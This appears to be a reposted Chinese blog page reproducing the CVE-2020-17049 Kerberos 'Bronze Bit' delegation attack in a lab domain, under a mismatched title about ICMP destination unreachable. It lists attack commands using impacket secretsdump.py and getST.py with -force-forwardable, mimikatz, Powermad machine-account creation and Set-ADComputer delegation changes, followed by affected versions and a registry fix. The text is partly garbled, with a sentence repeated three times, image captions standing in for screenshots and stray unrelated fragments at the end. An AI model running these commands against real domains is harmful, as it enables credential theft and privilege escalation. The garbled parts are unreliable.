首页经验icmp destination unreach icmp destination unreachable攻击

icmp destination unreach icmp destination unreachable攻击

圆圆2025-09-01 09:00:40次浏览条评论

这个漏洞的作用是允许攻击者攻击“受保护组”或设置了“敏感用户,禁止委派”的用户,或者攻击设置了“仅信任该计算机来委派指定的服务--gt;仅使用kerberos”的机器。

攻击的基本思路如下:攻击者已经获得了域内某台机器的权限。攻击者拥有域内服务的哈希,称为service1。哈希可以通过DC Sync攻击、Kerberoasting,甚至是使用Powermad注册SPN的方式来获得。service1对域内的其他服务拥有约束派关系。其配置可能如下:(1)service2在service1的AllowedToDelegateTo列表中;(2)service1在service2的PrincipalsAllowedToDelegateToAccount列表中,且攻击者对service2有GenericAll、Generic Write、WriteOwner等权限。攻击者利用该漏洞获取service2的Kerberos方案。攻击者利用该漏洞获取service2的Kerberos方案。攻击者利用该漏洞获取service2的Kerberos方案。

漏洞原理:

如果在之前的利用方法中,已经拥有了一个ervice1的hash,想要获取service2的权限,可以使用getST.py程序执行S4U交换来获取目标的TGT。如果其配置了“TrustedToAuthForDelegation”,且用户未受保护,其流程如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

但如果其设置了仅Kerberos或受保护的组,则不会成功。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

漏洞作者为工具增加了-force-forwardable参数,使其成为可能。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

这个GIF解析地显示了该过程:https://www.php.cn/link/b229ed523ffbcc8c48d47eb8bcd760c6

漏洞复现:

网络拓扑环境如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

示例攻击1:

环境配置如下:

server1设置如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

user2设置:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

开始攻击:

首先访问server2,确认无法直接连接到服务器。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后我们需要获取server1的机器账户的AES256-CTS-HMAC-SHA1-96和LM:NTLM hash。在作者的复现过程中使用的是secretsdump.py来操作的:python .\impacket\examples\secretsdump.py 'test/user1:lt;user1_passwordgt;@Service1.test.local'登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

但在测试过程中,发现并不可以这样操作。

也有可能是操作有问题,于是换成了mimikatz的ekeys来操作:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

或者为了复现方便,提升到高权限操作:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes lt;ntlm hashgt; -aesKey lt;aes hashgt; test.local/Service1登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

发现,并不能获取user2的TGT,而加上成功参数之后,则可以获取:.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes lt;ntlm hashgt; -aesKey lt;aes hashgt; test.local/Service1 -force-forwardable登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后我们注入该协议:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

不过我们这里是主机的表示,我们一般是cifs,按照刚才的步骤拥有再走一遍就ok了。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

此时便有了对目标的访问权限。

示例Attack2:

环境配置如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

开始攻击:Import-Module .\Powermad\powermad.ps1New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后:quot;kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.localquot;退出登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后:Install-WindowsFeature RSAT-AD-PowerShellImport-Module ActiveDirectoryGet-ADComputer AttackerService登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后:Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount登录后复制

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后获取TGT:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后注入设备即可:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

写在后面:

由于时间问题,对原理进行研究,只是简单地进行了复现,有兴趣者可自行抓包分析。

漏洞影响版本:

Windows Server 2012Windows Server 2012 R2Windows Server 2016Windows Server 2019Windows Server,版本1903Windows Server,版本1909Windows Server,版本2004Windows Server,版本20H2

修复方案:

将HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc的PerformTicketSignature设置为1:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

参考文章:

https://www.php.cn/link/88223ade11c861267dccbc28768b5003

https://www.php.cn/link/1dfbac99bfb6d351efe1814d7339e9d9

https://www.php.cn/link/8 6505d8e6c39805306cede26cd66cb6c

https://www.php.cn/link/25b62af6237fd079d6a230f011a0f f26

https://www.php.cn/link/2715c65820c839c31c44eb38bddf613f

以上就是CVE-2020-17049 Kerberos Bronze Bit 攻击复现的详细内容,更多请关注乐哥常识网其他相关文章!

CVE-2020-1
动态删除了仍然显示 删除动态对象,需要使用操作符
相关内容
发表评论

游客 回复需填写必要信息